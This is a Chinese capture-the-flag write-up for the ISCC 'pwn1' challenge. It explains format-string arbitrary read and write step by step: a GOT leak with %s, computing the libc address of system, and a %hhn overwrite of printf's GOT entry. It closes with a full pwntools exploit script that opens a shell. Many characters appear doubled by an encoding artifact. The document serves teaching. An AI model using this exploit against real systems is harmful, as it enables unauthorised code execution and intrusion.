[ISCC](PWN)pwn1 + 格式化字符串漏洞利用與分析


簡介 :

pwn1
200
*28 solves*
歡迎來的pwn世界,這次你能學(xué)到什么新知識(shí)呢?115.28.185.220:11111
[附件下載](http://iscc.isclab.org.cn/static/uploads/1ec9c1730461edfff561c395f566215d/pwn1.zip)

image.png

很明顯的格式化字符串漏洞

檢查一下可執(zhí)行程序的保護(hù)類型

image.png

程序沒有開啟 PIE 保護(hù) , 那么也就是說
程序的 .text .bss 等段在目標(biāo)服務(wù)器中的內(nèi)存地址中是固定的
基址為 : 0x8048000
我們知道利用格式化字符串是可以對(duì)任意內(nèi)存進(jìn)行讀寫操作的
那么這個(gè)程序我們應(yīng)該如何去利用 ?
首先需要明確的是我們這里的目的 : 拿到目標(biāo)主機(jī)的 shell
那么就是 :

shellcode 或者執(zhí)行 system("/bin/sh")

但是這里程序開啟了 NX 保護(hù) , 因此 shellcode 這條路應(yīng)該是行不通了

那么我們就要考慮如何調(diào)用 system
要調(diào)用一個(gè)函數(shù)

  1. 我們首先需要知道這個(gè)函數(shù)在內(nèi)存中的地址
  2. 而且需要在棧上為程序布局好參數(shù)
  3. 還要能讓 ip 跳轉(zhuǎn)到這個(gè)函數(shù)去執(zhí)行

第一個(gè)問題 , system 的地址如何獲取 ?

利用 printf 函數(shù) , 可以打印任意內(nèi)存的數(shù)據(jù)
那么我們就可以利用這個(gè)漏洞打印出 got 表中的函數(shù)在內(nèi)存中的地址
比如說打印出 : puts 函數(shù)(libc中的函數(shù))
這樣我們就知道了一個(gè) libc 中的函數(shù)
根據(jù)這個(gè)函數(shù)在給定的 libc 的偏移我們就可以還原出整個(gè) libc 在內(nèi)存中的布局情況
這樣我們就可以很容易找到 system 函數(shù)在目標(biāo)服務(wù)器中的地址 , 這個(gè)問題也就解決了
但是如果這道題并沒有給出 libc ?
應(yīng)該怎么去獲取 system 的地址呢 ?
首先 Linux 的內(nèi)核是不斷在更新的
其中的 libc 版本也隨著不斷地更新
那么當(dāng) libc 的內(nèi)容發(fā)生變化以后 , 其中函數(shù)之間的相對(duì)偏移肯定會(huì)發(fā)生變化
那么我們應(yīng)該怎么才能根據(jù)已知的函數(shù)地址來得到目標(biāo)函數(shù)地址呢 ?
做一個(gè)假設(shè) :
條件一 : 我們擁有從Linux發(fā)型以來所有版本的 libc 文件
條件二 : 我們已知至少兩個(gè)函數(shù)函數(shù)在目標(biāo)主機(jī)中的真實(shí)地址
那么我們是不是可以用第二個(gè)條件去推測(cè)目標(biāo)主機(jī)的 libc 版本呢 ?
我們來進(jìn)行進(jìn)一步的分析 :
關(guān)于條件二 :
這里我們可以注意到 : printf 是可以被我們循環(huán)調(diào)用的
因此可以進(jìn)行連續(xù)的內(nèi)存泄露
我們可以將多個(gè) got 表中的函數(shù)地址泄露出來 ,
我們這樣就可以的至少兩個(gè)函數(shù)的地址 , 條件二滿足
關(guān)于條件一 :
哈哈~對(duì)了 , 這么有誘惑力的事情一定已經(jīng)有人做過了 , 這里給出一個(gè)網(wǎng)站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根據(jù)這個(gè)原理運(yùn)作的
兩個(gè)條件都滿足 , 根據(jù)這些函數(shù)之間的偏移去篩選出 libc 的版本
這樣我們就相當(dāng)于得到了目標(biāo)服務(wù)器的 libc 文件 , 達(dá)到了同樣的效果

我們?cè)賮砜吹诙€(gè)和第三個(gè)問題 :

那么再來做一個(gè)假設(shè)
如果我們可以修改 got 表中的某一個(gè)函數(shù)的地址到 system 的地址
那么程序在調(diào)用這個(gè)函數(shù)的時(shí)候其實(shí)調(diào)用的就是 system 函數(shù)了, 根據(jù)格式化字符串漏洞的特性 , 我們知道是可以寫任意內(nèi)存的 , 那么這樣就解決了第三個(gè)問題 , 怎么把 ip 設(shè)置到 system 函數(shù)
可是參數(shù)要怎么傳遞呢 ?

我們注意到 , 這個(gè)程序中存在以下 libc 中的函數(shù) :

puts
scanf
printf
gets

我們仔細(xì)想一下 , 這些函數(shù)的參數(shù)都是什么樣子的 , 我們需要調(diào)用的 system 函數(shù)的參數(shù)是什么樣的

SYSTEM(3)                             Linux Programmer's Manual                             SYSTEM(3)

NAME
       system - execute a shell command

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);

是一個(gè)字符指針 , 說得更通用一點(diǎn)就是是一個(gè)地址
那么是不是就是說 , 如果我們可以控制上面的幾個(gè)函數(shù)的第一個(gè)參數(shù)為 "/bin/sh" 的地址
那么我們就相當(dāng)于為 system 函數(shù)傳遞了參數(shù) ?
答案是肯定的
我們現(xiàn)在來回過頭來看看程序的執(zhí)行流程 :

image.png

在跳轉(zhuǎn)到 system 之前 , 我們肯定要先調(diào)用 printf 將某一個(gè)函數(shù)的 got 表進(jìn)行覆蓋
那么我們應(yīng)該覆蓋哪個(gè)函數(shù) ?
注意到 printf 函數(shù)的參數(shù)是我們輸入的字符串的地址
如果我們先利用 printf 的格式化字符串漏洞將 printf 的 got 表修改為 system 的地址
然后程序繼續(xù)執(zhí)行
在 gets 的地方我們輸入 "/bin/sh"
然后程序自動(dòng)執(zhí)行 printf , 事實(shí)上 printf 已經(jīng)被我們修改成了 system , 而且傳遞的參數(shù)就是我們輸入的 /bin/sh
其實(shí)如果有一個(gè)函數(shù)的第一個(gè)參數(shù)是一個(gè)整形而且我們可以控制的話
我們也可以通過控制這個(gè)整形參數(shù)來達(dá)到執(zhí)行 system("/bin/sh") 的目的
這樣我們就完成了對(duì)漏洞利用過程的分析


下面我簡單介紹一個(gè)格式化字符串漏洞 :
大家在學(xué)習(xí) c 語言的時(shí)候?qū)戇^的第一個(gè)程序就是

#include <stdio.h>

int main(){
  printf("Hello world!\n");
}

這里使用到了 prinf 函數(shù)
隨著學(xué)習(xí)的深入 , 我們逐漸知道 printf 是一個(gè)參數(shù)長度可變的函數(shù)
其中第一個(gè)參數(shù)格式化字符串 , 這個(gè)格式化字符串中可以包含以 % 為開頭標(biāo)記的格式化字符串
然后 printf 函數(shù)在處理第一個(gè)參數(shù)的時(shí)候 , 當(dāng)每一次遇到 % 開頭的標(biāo)記 , 就會(huì)根據(jù)這個(gè) % 開頭的格式化字符串所規(guī)定的規(guī)則在堆上構(gòu)造一個(gè)新的結(jié)果字符串 , 將整個(gè)格式化字符串檢索完畢后 , 會(huì)將這個(gè)字符串輸入
我們來總結(jié)一下 printf 有哪些可以使用的 % 標(biāo)記 :

常見用法 : 
%c 將對(duì)應(yīng)參數(shù)以字符的形式進(jìn)行格式化
%hd 以短整形的形式 (這里加上 h 表示短整形 , 也就是從內(nèi)存取值的時(shí)候只取 2 個(gè)字節(jié) (32位))
%d 以整形的形式
%ld 以長整形的形式
%x 以 16 進(jìn)制的形式
%s 以字符串的形式 (注意這里與上面的有所不同 , 這里字符串的參數(shù)實(shí)際上是一個(gè)地址 , 這里的地址指向了需要被打印的字符串)
高級(jí)用法 : 
每一個(gè)格式化字符串的 % 后可以跟一個(gè) 10 進(jìn)制的常數(shù) , 表示格式化后得到的字符串的長度
比如說 %4c 這會(huì)打印出三個(gè)空格以及一個(gè)字符
每一個(gè)格式化字符串的 % 之后可以跟一個(gè)十進(jìn)制的常數(shù)再跟一個(gè) $ 符號(hào), 表示格式化指定位置的參數(shù) : 
例如 : 
int a = 1;
int b = 2;
int c = 3;
printf("%1$d, %2$d, %3$d\n", a, b, c);
// 輸出結(jié)果為 : 1,2,3
printf("%3$d, %1$d, %2$d\n", a, b, c);
// 輸出結(jié)果為 : 3,1,2
還有一些不是很常用的格式化字符串例如 : 
%n
這個(gè)格式化字符串的作用是 : 將當(dāng)前已經(jīng)格式化寫入堆中的字符個(gè)數(shù)寫入到對(duì)應(yīng)的參數(shù)中
這樣說可能有點(diǎn)抽象 , 舉個(gè)例子 : 
int size = 0;
printf("123456789%n", &size);
printf 首先會(huì)掃描第一個(gè)參數(shù) , 
如果這個(gè)參數(shù)不是轉(zhuǎn)義字符或者格式化字符串
就直接將其復(fù)制到堆上已經(jīng)申請(qǐng)好的用于保存即將輸出的結(jié)果字符串的內(nèi)存地址中 , 
并將計(jì)數(shù)器加上 1 
如果是轉(zhuǎn)義字符 , 則將轉(zhuǎn)義字符的結(jié)果復(fù)制到堆上 , 同理 + 1
當(dāng)遇到格式化字符串 , 也就同樣的道理
這里的計(jì)數(shù)器保存了當(dāng)前格式化得到的結(jié)果的字符數(shù)
那么當(dāng)上述 prinf 執(zhí)行結(jié)束后 , size 的值就會(huì)被修改為 9
一個(gè)值得注意的地方是 : 參數(shù)為 &size
也就是這個(gè)參數(shù)是一個(gè)內(nèi)存地址

好了 , 介紹完了格式化字符串函數(shù) , 再來介紹一下如何利用格式化字符串進(jìn)行任意內(nèi)存的讀寫的 :
首先來看任意內(nèi)存讀 :
我們知道 printf 可以使用 %s 來打印一個(gè)字符串
而且參數(shù)是一個(gè)內(nèi)存地址
那么也就是說只要我們能控制 printf 的參數(shù) , 就可以通過 %s 來打印任意的內(nèi)存數(shù)據(jù)
我們知道棧是由高地址向低地址生長的
假如說 printf 只有一個(gè)參數(shù) , 這個(gè)參數(shù)是可以被我們控制的
我們就可以通過在這第一個(gè)參數(shù)中添加 % 這樣的格式化字符串來打印出棧上更高地址的數(shù)據(jù)
一般情況下 , 存在漏洞的代碼會(huì)長這樣

in main(){
  char buffer[0x100] = {0};
  read(0, buffer, 0x100);
  printf(buffer);
}

這個(gè)小程序中 , buffer 是分配在棧上的 , 而且對(duì) buffer 的分配要早于 printf 的執(zhí)行
那么也就是說 buffer 的地址是高于 printf 的棧的
那么我們就可以利用格式化字符讀取到 buffer 的內(nèi)容 , 因?yàn)楦鶕?jù)我們之前的分析 , printf 會(huì)打印更高地址的數(shù)據(jù) , 也就是 printf 將更高的地址上的數(shù)據(jù)作為了參數(shù)
假如我們的格式化字符串是 : "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
我們發(fā)現(xiàn)在第六個(gè)輸出的16進(jìn)制數(shù)的地方輸出了 : 0x41414141
那么也就是說 , 我們輸入的字符串的地址比 printf 的第一個(gè)參數(shù)的地址要高 6 * 4 = 24 個(gè)字節(jié) (32 位)

那么如果我們把第六個(gè) %08x 修改為 %s , 這樣
printf 就會(huì)將 AAAA 這個(gè)數(shù)據(jù)當(dāng)做是地址 , 進(jìn)行一次取值操作 , 將 0x41414141 這個(gè)地址中數(shù)據(jù)打印出來 , 但是這里 0x41414141 這個(gè)地址是非法的 , 所以程序會(huì)報(bào)一個(gè)段錯(cuò)誤 , 并退出
可是如果我們輸入的并不是AAAA , 而是一個(gè)可讀的內(nèi)存地址的話 , 我們就可以使用 %s 來打印出這個(gè)內(nèi)存的數(shù)據(jù)了
TIP : 一般在利用的時(shí)候 :
"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
會(huì)寫成 : "AAAA%6$08x"
減少 payload 長度

再來看看任意地址寫 :
需要用到 %n 這個(gè)這個(gè)格式化字符串
同樣的道理 , "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
當(dāng)打印這個(gè)格式化字符串的時(shí)候如果在第 6 個(gè)位置遇到了 AAAA
那么也就是說我們就可以通過修改第六個(gè) %08x 來讓 printf 將AAAA視作一個(gè)地址 (%s 和 %n 都會(huì)這樣)
那么如果我們現(xiàn)在要向 0x12345678 的地址寫入數(shù)據(jù) : 0x19283746
應(yīng)該怎么辦呢 ?
如果我們這樣輸入 :
"\x78\x56\x34\x12%08x.%08x.%08x.%08x.%n."
printf 會(huì)先掃描這個(gè)字符串
通過計(jì)算 , 當(dāng)掃描到 %n 的時(shí)候應(yīng)該是已經(jīng)打印了 :
4 + 8 + 1 + 8 + 1 + 8 + 1 + 8 + 1 = 40 = 0x28個(gè)字符
那么這個(gè) 0x12345678 的地址就會(huì)被寫入 \x28\x00\x00\x00
這樣我們其實(shí)已經(jīng)實(shí)現(xiàn)了寫內(nèi)存操作
但是我們的目的可是要向這個(gè)地址寫入 0x19283746 = 422065990 這么大的值呀
難道我們要讓結(jié)果字符串的長度是 422065990 嗎 ? 顯然是不可能的
這里我們就要利用到 h 這個(gè)符號(hào)了
根據(jù)之前對(duì) printf 的介紹 , 我們可以知道 %hd 可以以一個(gè)短整形的格式打印數(shù)據(jù)
那么這里也是一樣的
%hn就是向兩個(gè)字節(jié)的內(nèi)存地址寫入數(shù)據(jù)
%hhn就是向一個(gè)字節(jié)
這樣的話 , 我們就大大減少了我們輸入的字符的長度
但是這么多字符如果要一個(gè)一個(gè)輸入的話還是很不好
這里我們還需要用到 %c 來進(jìn)行快速格式化得到制定數(shù)量的字符
%4c 就可以得到四個(gè)字符的輸出
那么%128c , %3543c 也是同樣的道理
我一般比較習(xí)慣于使用 %hhn , 這樣比較容易控制數(shù)量
我們?cè)賮砘剡^頭來看看之前寫入任意內(nèi)存的問題 :
那么如果我們現(xiàn)在要向 0x12345678 的地址寫入數(shù)據(jù) : 0x19283746

首先我們需要將被寫入的內(nèi)存地址布局在棧上
這里我們使用 %hhn 那么也就是需要四個(gè)地址

"\x78\x56\x34\x12\x79\x56\x34\x12\x7a\x56\x34\x12\x7b\x56\x34\x12"

然后我們就可以使用 %7$ %8$ 來定位到這些內(nèi)存地址
我們還要控制被寫入的數(shù)據(jù)
就可以通過 %c 來控制寫入的字節(jié)數(shù)
這里需要考慮一個(gè)問題 , 就是溢出
如果我們要向一個(gè)內(nèi)存字節(jié)中寫入 0x10 當(dāng)時(shí)我們已經(jīng)打印了多于 0x10 的數(shù)據(jù)那么怎么辦呢 ?
這里也不用擔(dān)心 , 因?yàn)閱巫止?jié)的寫入是會(huì)產(chǎn)生溢出的
假如說我們現(xiàn)在已經(jīng)向內(nèi)存中寫入了 0xbf 個(gè)字節(jié)
我們要再次寫入 0x10 , 那么我們只需要將這個(gè)計(jì)數(shù)器調(diào)整為 0x110
這樣產(chǎn)生溢出以后 寫入內(nèi)存的就是 0x10 了
這樣就解決了一次性寫入多個(gè)字節(jié)的問題


利用腳本 :

#!/usr/bin/env python

from pwn import *

def get_number(printed, target):
    print "[+] Target : %d" % (target)
    print "[+] printed number : %d" % (printed)
    if printed > target:
        return 256 - printed + target
    elif printed == target:
        return 0
    else:
        return target - printed

def write_memery(target, data, offset):
    lowest = data >> 8 * 3 & 0xFF
    low = data >> 8 * 2 & 0xFF
    high = data >> 8 * 1 & 0xFF
    highest = data >> 8 * 0 & 0xFF
    printed = 0
    payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
    length_lowest = get_number(len(payload), lowest)
    length_low = get_number(lowest, low)
    length_high = get_number(low, high)
    length_highest = get_number(high, highest)
    payload += '%' + str(length_lowest) + 'c' + '%' + str(offset) + '$hhn'
    payload += '%' + str(length_low) + 'c' + '%' + str(offset + 1) + '$hhn'
    payload += '%' + str(length_high) + 'c' + '%' + str(offset + 2) + '$hhn'
    payload += '%' + str(length_highest) + 'c' + '%' + str(offset + 3) + '$hhn'
    return payload


def leak(addr):
    Io.sendline("1")
    Io.readuntil("please input your name:\n")
    payload = p32(addr) + "%6$s"
    Io.sendline(payload)
    leak_data = Io.read()[4:8]
    return leak_data


Io = process("./pwn1")
Io.readuntil("plz input$")

# leak printf addr
printf_got = 0x0804A010
print "[+] got.printf : [%s]" % (hex(printf_got))
printf_addr = u32(leak(printf_got))
print "[+] Address of printf : [%s]" % (hex(printf_addr))

# get the address of system
system_offset = 0x0003a840
printf_offset = 0x000497c0
system_addr = printf_addr - printf_offset + system_offset
print "[+] Address of system : [%s]" % (hex(system_addr))

# write got.print to address of system
payload = write_memery(printf_got, system_addr, 6)
print "[+] Payload : %s" % (repr(payload))
Io.sendline("1")
Io.sendline(payload)

# write '/bin/sh'
Io.sendline("1")
Io.sendline("/bin/sh")

# interactive
Io.interactive()

參考資料 :
黑客之道-漏洞發(fā)掘的藝術(shù)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容